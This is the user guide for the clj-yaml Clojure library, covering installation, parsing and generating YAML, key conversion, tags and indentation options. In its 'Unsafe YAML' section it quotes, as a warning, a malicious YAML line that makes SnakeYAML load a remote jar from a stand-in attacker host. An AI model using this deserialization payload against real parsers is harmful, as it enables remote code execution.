User Guide — clj-commons/clj-yaml 1.0.29

User Guide

Audience

You want to learn more about how to use the clj-yaml library from your app, library or script.

Introduction

Clj-yaml is a Clojure wrapper over SnakeYAML.

History

Feb 2010 - lancepantz/clj-yaml is created
Dec 2013 - circleci/clj-yaml picks up the torch
Jan 2019 - clj-commons adopts clj-yaml where it can get the ongoing love and care that it needs

Installation

Babashka

No installation required. Clj-yaml is built into babashka.

Leiningen/Boot

[clj-commons/clj-yaml "1.0.29"]

Clojure CLI/`deps.edn`

clj-commons/clj-yaml {:mvn/version "1.0.29"}

As Git Dependency

To get the latest changes that are not yet released to Clojars, you can use this library as a git dependency:

$ cat deps.edn
{:deps {clj-commons/clj-yaml {:git/url "https://github.com/clj-commons/clj-yaml"
                              :git/sha "05eaca35c34c092ffdd2e620ef07962ce147a88b"}}}

$ clj -X:deps prep
$ clj -M -e "(require '[clj-yaml.core :as yaml])"

Replace the :git/sha value as appropriate.

Usage

Internal vs Public API

When the clj-commons/clj-yaml team adopted clj-yaml it made some assumptions about the clj-yaml public API. It turns out folks are using more of clj-yaml than we originally expected.

We encourage you to stick to the higher level functions as documented in the clj-yaml.core namespace.

If you do find yourself needing to use the lower level functions, please let us know. Perhaps you are doing so to overcome a limitation in clj-yaml that we could address to everyone’s benefit.

Note that:

babashka only exposes the higher level functions.
this user guide only describes and promotes usage of higher level functions

Quick Start

(require '[clj-yaml.core :as yaml])

(yaml/generate-string
  [{:name "John Smith", :age 33}
   {:name "Mary Smith", :age 27}])
;; => "- {name: John Smith, age: 33}\n- {name: Mary Smith, age: 27}\n"

(yaml/parse-string "
- {name: John Smith, age: 33}
- name: Mary Smith
  age: 27
")
;; => ({:name "John Smith", :age 33}
;;     {:name "Mary Smith", :age 27})

Parsing YAML

Key Conversion

By default, YAML keys are converted to Clojure keywords. To prevent this, include the :keywords false option when calling parse-string or parse-stream functions:

(yaml/parse-string "
- {name: John Smith}
" :keywords false)
;; => ({"name" "John Smith"})

The :keywords option defaults to true for historical reasons. When clj-yaml detects a key that cannot be converted to a Clojure keyword, it will leave it unconverted. Detection and conversion is not sophisticated and can result in keywords that are illegal and unreadable.

For this reason we added the :key-fn option. This allows you to take control and do whatever conversion makes sense for your YAML key inputs.

You can use :key-fn to do something similar to :keywords true:

(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key keyword))
;; => ({:name "John Smith"})

Or, something entirely different:

(require '[clojure.string :as string])

(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key string/upper-case string/reverse))
;; => ({"EMAN" "John Smith"})

Unknown tags

Unknown tags can be handled by passing a handler function via the :unknown-tag-fn option. The handler function is provided a map which includes :tag and :value keys. Note that the value passed to the unknown-tag-fn is a string if it’s a scalar, regardless of the quoting (or lack thereof) of the scalar value.

;; drop unknown tags
(yaml/parse-string "!Base12 10" :unknown-tag-fn :value
;; => "10"

;; or do some smart convertion
(yaml/parse-string "!Base12 10"
                   :unknown-tag-fn (fn [{:keys [tag value]}]
                                      (if (= "!Base12" tag)
                                          (Integer/parseInt value 12)
                                          value)))
;; => 12

Unsafe YAML

Clj-yaml optionally supports the creation of Java classes. This is considered unsafe.

Be very wary of specifying :unsafe true unless you completely trust your YAML inputs. Consider instead using :unknown-tag-fn for fine and deliberate control.

An example of some malicious YAML is well described by J0VSEC. Here’s the dangerous snippet described:

some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]

Also security related are the :allow-recursive-keys, :max-aliases-for-collections, and :nesting-depth-limit options.

Positional Data

You can ask clj-yaml to return parsed YAML with extra positional data markers via the :mark true option.

(yaml/parse-string "
- name: Mary Smith
  age: 27
" :mark true)
;; => {:start {:line 1, :index 1, :column 0},
;;     :end {:line 3, :index 30, :column 0},
;;     :unmark
;;     ({:start {:line 1, :index 3, :column 2},
;;       :end {:line 3, :index 30, :column 0},
;;       :unmark
;;       {{:start {:line 1, :index 3, :column 2},
;;         :end {:line 1, :index 7, :column 6},
;;         :unmark "name"}
;;        {:start {:line 1, :index 9, :column 8},
;;         :end {:line 1, :index 19, :column 18},
;;         :unmark "Mary Smith"},
;;        {:start {:line 2, :index 22, :column 2},
;;         :end {:line 2, :index 25, :column 5},
;;         :unmark "age"}
;;        {:start {:line 2, :index 27, :column 7},
;;         :end {:line 2, :index 29, :column 9},
;;         :unmark 27}}})}

In reality, the :start :end and :unmark maps are internally a record and can be recognized via marked? and unwrapped via unmark.

Document size limit

SnakeYAML implementation (that clj-yaml uses for low-level encoding and decoding) imposes the default limit of 3 megabyte document size for security reasons (issue). If you hit this limitation, you need to explicitly increase the limit by setting the :code-point-limit option:

(parse-string bigger-than-default-limit)
;; Execution error (YAMLException) at org.yaml.snakeyaml.scanner.ScannerImpl/fetchMoreTokens (ScannerImpl.java:342).
;; The incoming YAML document exceeds the limit: 3145728 code points.

(parse-string bigger-than-default-limit :code-point-limit (* 10 1024 1024))
;; outputs the long string

Generating YAML

Dumper Options

Different flow styles (:auto, :block, :flow) allow customization of how YAML is rendered.

To demonstrate, let’s setup some-data to play with.

(def some-yaml "
todo:
  issues:
    - name: Fix all the things
      responsible:
        name: Rita
")

(def some-data (yaml/parse-string some-yaml))

To select the :block flow style:

(yaml/generate-string some-data :dumper-options {:flow-style :block})

results in a string of YAML, that when printed:

todo:
  issues:
  - name: Fix all the things
    responsible:
      name: Rita

The same but with the :flow style results in:

{todo: {issues: [{name: Fix all the things, responsible: {name: Rita}}]}}

And finally the :auto style (the default) renders:

todo:
  issues:
  - name: Fix all the things
    responsible: {name: Rita}

Controlling Indentation

Use :indent to control block indentation, to override the default block indent of 2 with 4:

(yaml/generate-string some-data :dumper-options {:indent 4
                                                 :flow-style :block})

results in:

todo:
    issues:
    -   name: Fix all the things
        responsible:
            name: Rita

Notice that each block is now indented by 4.

Use :indicator-indent to change the indentation of the - indicator; by default, it is 0; let’s bump it up to 2:

(yaml/generate-string some-data :dumper-options {:indent 4
                                                 :indicator-indent 2
                                                 :flow-style :block})

results in:

todo:
    issues:
      - name: Fix all the things
        responsible:
            name: Rita

Notice that the blocks are still indented by 4, but the - indicator is now indented by 2.

Indenting the - indicator within the block :indent can be limiting. Sometimes, you’ll want to indent - blocks more than other blocks. Specifying :indent-with-indicator true makes block indentation for - indicators additive; the indicator is still indented by :indicator-indent, but its block is indented by :indent + :indicator-indent.

(yaml/generate-string some-data :dumper-options {:indent 4
                                                 :indicator-indent 2
                                                 :indent-with-indicator true
                                                 :flow-style :block})

results in:

todo:
    issues:
      -   name: Fix all the things
          responsible:
              name: Rita

You’ll notice that the - indicator is indented by 2, but its block is now indented by 6 (4 + 2).

A common usage of indent-with-indicator true is to indent arrays like so:

(yaml/generate-string some-data :dumper-options {:indent 2
                                                 :indicator-indent 2
                                                 :indent-with-indicator true
                                                 :flow-style :block})

results in:

todo:
  issues:
    - name: Fix all the things
      responsible:
        name: Rita

We now have:

a block indentation of 2 by default
an - indicator indentation of 2
a block indentation of 4 for - indicator content

Unless you are using :indent-with-indicator, :indicator-indent must always be less than :indent. If :ident-with-indicator is 1 less than :indent, the - indicator will be on a separate line:

(yaml/generate-string some-data :dumper-options {:indent 2
                                                 :indicator-indent 1
                                                 :flow-style :block})

results in:

todo:
  issues:
   -
    name: Fix all the things
    responsible:
      name: Rita

Function Options as Keyword Args

You’ll notice that clj-yaml functions use keyword args for options.

Clojure 1.11 allows these types of functions to instead be called with a map for the options:

;; old school
(yaml/parse-string "ok: 42" :keywords false)
;; => {"ok" 42}

;; clojure 1.11 also allows:
(yaml/parse-string "ok: 42" {:keywords false})
;; => {"ok" 42}

If you are using a version of Clojure before v1.11, or you want to stay compatible with older versions of Clojure, you’ll need to call these functions the old school way.

With GraalVM native-image

Clj-yaml includes a GraalVM native image configuration so that it can compile without any external config. We run the clj-yaml test suite natively compiled by the current versions of GraalVM. Older versions of GraalVM are not supported.